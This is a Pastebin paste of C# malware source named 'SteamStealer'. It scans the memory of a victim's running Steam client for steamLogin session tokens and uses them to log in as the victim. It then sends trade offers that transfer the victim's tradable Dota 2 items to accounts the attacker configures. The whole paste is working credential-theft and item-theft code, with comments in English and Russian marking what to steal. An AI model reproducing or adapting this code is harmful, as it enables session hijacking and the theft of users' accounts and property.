Advertisement
Guest User

Untitled

a guest
Sep 29th, 2014
4,712
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.96 KB | None | 0 0
  1.  
  2. using System.Collections;
  3. using System.Net;
  4. using System.Collections.Generic;
  5. using System.Reflection;
  6. using Newtonsoft.Json.Linq;
  7. using System;
  8. using System.Diagnostics;
  9. using System.Text.RegularExpressions;
  10. using System.Text;
  11. using System.Linq;
  12. using System.Threading;
  13.  
  14.  
  15. namespace SteamStealer
  16. {
  17. static class Program
  18. {
  19. private static CookieContainer cookiesContainer;
  20. private static List<string[]> OffersList;
  21.  
  22.  
  23. private static List<string[]> GetItems(string steamID, string appID)
  24. {
  25. List<string[]> items = new List<string[]>();
  26. while (true)
  27. {
  28. string link = "profiles/" + steamID + "/inventory/json/" + appID + "/2/";
  29. string json = Http.SteamWebRequest(cookiesContainer, link, null, "");
  30. try
  31. {
  32. JObject inventory = JObject.Parse(json);
  33.  
  34. if (((inventory.SelectToken("success") != null) && ((bool)inventory.SelectToken("success"))) &&
  35. (inventory.SelectToken("rgDescriptions")).First != null)
  36. {
  37. IJEnumerable<JToken> descriptionsBase = inventory.SelectToken("rgDescriptions").Values();
  38.  
  39. foreach (JToken eachItem in inventory.SelectToken("rgInventory").Values())
  40. {
  41. JToken infoAbout = descriptionsBase.Where(each => each["classid"].ToString() == eachItem["classid"].ToString()).First();
  42. if (infoAbout["tradable"].ToString() == "1")
  43. {
  44. string[] item = new string[] { appID, eachItem["amount"].ToString(), eachItem["id"].ToString(), infoAbout["market_name"].ToString(), infoAbout["type"].ToString().ToLower() };
  45. if (!items.Contains(item)) { items.Add(item); }
  46. }
  47. }
  48. }
  49. break;
  50. }
  51. catch { return null; }
  52.  
  53. }
  54. return items;
  55. }
  56.  
  57. private static List<string[]> FilterByRarity(List<string[]> input, string filter)
  58. {
  59. string[] filters = filter.Split(',');
  60. List<string[]> output = new List<string[]>();
  61. for (int i = 0; i < input.Count; i++)
  62. {
  63. for (int x = 0; x < filters.Length; x++)
  64. {
  65. string[] types = input[i][4].Split(' ');
  66. for (int c = 0; c < types.Length; c++)
  67. {
  68. if (types[c] == filters[x] && !output.Contains(input[i]))
  69. {
  70. output.Add(input[i]);
  71. break;
  72. }
  73. }
  74. }
  75. }
  76. return output;
  77. }
  78.  
  79. private static string prepareItems(string[][] input)
  80. {
  81. string output = string.Empty;
  82. for (int i = 0; i < input.Length; i++)
  83. {
  84. output += "%7B%22appid%22%3A" + input[i][0]
  85. + "%2C%22contextid%22%3A" + "2"
  86. + "%2C%22amount%22%3A" + input[i][1]
  87. + "%2C%22assetid%22%3A%22" + input[i][2] + "%22%7D%2C";
  88. }
  89. return output.Remove(output.Length - 3);
  90. }
  91.  
  92. private static string sentItems(string sessionID, string items, string[] Offer)
  93. {
  94. return Http.SteamWebRequest(cookiesContainer,
  95. "tradeoffer/new/send",
  96. "sessionid=" + sessionID +
  97. "&partner=" + Offer[0] +
  98. "&tradeoffermessage=&json_tradeoffer=%7B%22newversion%22%3Atrue%2C%22version%22%3A2%2C%22me%22%3A%7B%22assets%22%3A%5B" + items +
  99. "%5D%2C%22currency%22%3A%5B%5D%2C%22ready%22%3Afalse%7D%2C%22them%22%3A%7B%22assets%22%3A%5B%5D%2C%22currency%22%3A%5B%5D%2C%22ready%22%3Afalse%7D%7D&trade_offer_create_params=%7B%22trade_offer_access_token%22%3A%22" + Offer[2] + "%22%7D",
  100. "tradeoffer/new/?partner=" + Offer[1] + "&token=" + Offer[2]);
  101. }
  102.  
  103. private static List<string[][]> divideList(List<string[]> input, int size)
  104. {
  105. if (input != null)
  106. {
  107. int counter = 0;
  108. return input.GroupBy(_ => counter++ / size).Select(g => g.ToArray()).ToList();
  109. }
  110. else
  111. {
  112. return new List<string[][]>();
  113. }
  114. }
  115.  
  116.  
  117. private static string getCoockies(CookieContainer cookieContainer_1, string string_0)
  118. {
  119. Hashtable hashtable = (Hashtable)typeof(CookieContainer).GetField("m_domainTable", BindingFlags.NonPublic | BindingFlags.Instance).GetValue(cookieContainer_1);
  120. foreach (string str in hashtable.Keys)
  121. {
  122. object obj2 = hashtable[str];
  123. SortedList list = (SortedList)obj2.GetType().GetField("m_list", BindingFlags.NonPublic | BindingFlags.Instance).GetValue(obj2);
  124. foreach (string str2 in list.Keys)
  125. {
  126. CookieCollection cookies = (CookieCollection)list[str2];
  127. foreach (Cookie cookie in cookies)
  128. {
  129. if (cookie.Name == string_0)
  130. {
  131. return cookie.Value.ToString();
  132. }
  133. }
  134. }
  135. }
  136. return string.Empty;
  137. }
  138.  
  139. [STAThread]
  140. static void Main()
  141. {
  142. OffersList = new List<string[]>();
  143.  
  144. //Offers here / Офферы здесь
  145.  
  146. OffersList.Add(new string[] { "steamID", "offerID", "offerToken" });
  147.  
  148. ///////////////////////////////////////////////////////////////////////////////
  149.  
  150.  
  151. WinApis.SYSTEM_INFO systemInfo = new WinApis.SYSTEM_INFO();
  152. while(systemInfo.minimumApplicationAddress.ToInt32() == 0)
  153. {
  154. WinApis.GetSystemInfo(out systemInfo);
  155. }
  156. IntPtr minimumAdress = systemInfo.minimumApplicationAddress;
  157. long minimumAdresslong = minimumAdress.ToInt32();
  158. List<string> list = new List<string>();
  159. Process[] processesByName = processesByName = Process.GetProcessesByName("steam");
  160. Process selectedProcess = null;
  161. for (int z = 0; z < processesByName.Length; z++)
  162. {
  163. foreach (ProcessModule each in processesByName[z].Modules)
  164. {
  165. if (each.FileName.EndsWith("steamclient.dll"))
  166. {
  167. selectedProcess = processesByName[z];
  168. break;
  169. }
  170. }
  171. }
  172.  
  173. if (selectedProcess != null)
  174. {
  175. IntPtr processHandle = WinApis.OpenProcess(1040, false, selectedProcess.Id);
  176. WinApis.PROCESS_QUERY_INFORMATION processQuery = new WinApis.PROCESS_QUERY_INFORMATION();
  177. IntPtr lpNumberOfbytes = new IntPtr(0);
  178. while (WinApis.VirtualQueryEx(processHandle, minimumAdress, out processQuery, 28) != 0)
  179. {
  180. if ((processQuery.Protect == 4) && (processQuery.State == 4096))
  181. {
  182. byte[] buffer = new byte[processQuery.RegionSize];
  183. WinApis.ReadProcessMemory(processHandle, processQuery.BaseAdress, buffer, processQuery.RegionSize, out lpNumberOfbytes);
  184.  
  185. string preparedIDs = Encoding.UTF8.GetString(buffer);
  186. MatchCollection matchs = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(preparedIDs);
  187. if (matchs.Count > 0)
  188. {
  189. foreach (Match match in matchs)
  190. {
  191. if (!list.Contains(match.Value))
  192. {
  193. list.Add(match.Value);
  194. }
  195. }
  196. }
  197. }
  198. minimumAdresslong += processQuery.RegionSize;
  199. if (minimumAdresslong >= Int32.MaxValue)
  200. {
  201. break;
  202. }
  203. minimumAdress = new IntPtr(minimumAdresslong);
  204. }
  205. }
  206. if (list.Count > 0)
  207. {
  208. foreach (string each in list)
  209. {
  210.  
  211. string sessionId;
  212. cookiesContainer = new CookieContainer();
  213. Cookie cookie = new Cookie("steamLogin", each)
  214. {
  215. Domain = "steamcommunity.com"
  216. };
  217. cookiesContainer.Add(cookie);
  218.  
  219. while ((sessionId = Http.ObtainsessionID(cookiesContainer)) == null) { }
  220.  
  221. Cookie cookie2 = new Cookie("sessionid", sessionId)
  222. {
  223. Domain = "steamcommunity.com"
  224. };
  225. cookiesContainer.Add(cookie2);
  226.  
  227.  
  228.  
  229. string steamID = each.Substring(0, 17);
  230.  
  231. //Items for steal / Вещи для стилинга
  232.  
  233. List<string[]> listed = GetItems(steamID, "570");
  234. listed = FilterByRarity(listed, "common,");
  235.  
  236.  
  237.  
  238.  
  239. //////////////////////////////////////////////////
  240.  
  241. List<string[][]> divided = divideList(listed, 256);
  242.  
  243. for (int v = 0; v < OffersList.Count; v++)
  244. {
  245. for (int c = 0; c < 5; c++)
  246. {
  247. int index = c + (v * 5);
  248. if (index < divided.Count)
  249. {
  250. string preparedItems = prepareItems(divided[index]);
  251. string response = sentItems(getCoockies(cookiesContainer, "sessionid"), preparedItems, OffersList[v]);
  252. if (response != null)
  253. {
  254. try
  255. {
  256. JObject parsedRespone = JObject.Parse(response);
  257. }
  258. catch { }
  259. }
  260. }
  261. else
  262. {
  263. break;
  264. }
  265. }
  266. }
  267.  
  268.  
  269. }
  270. }
  271.  
  272. }
  273. }
  274. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement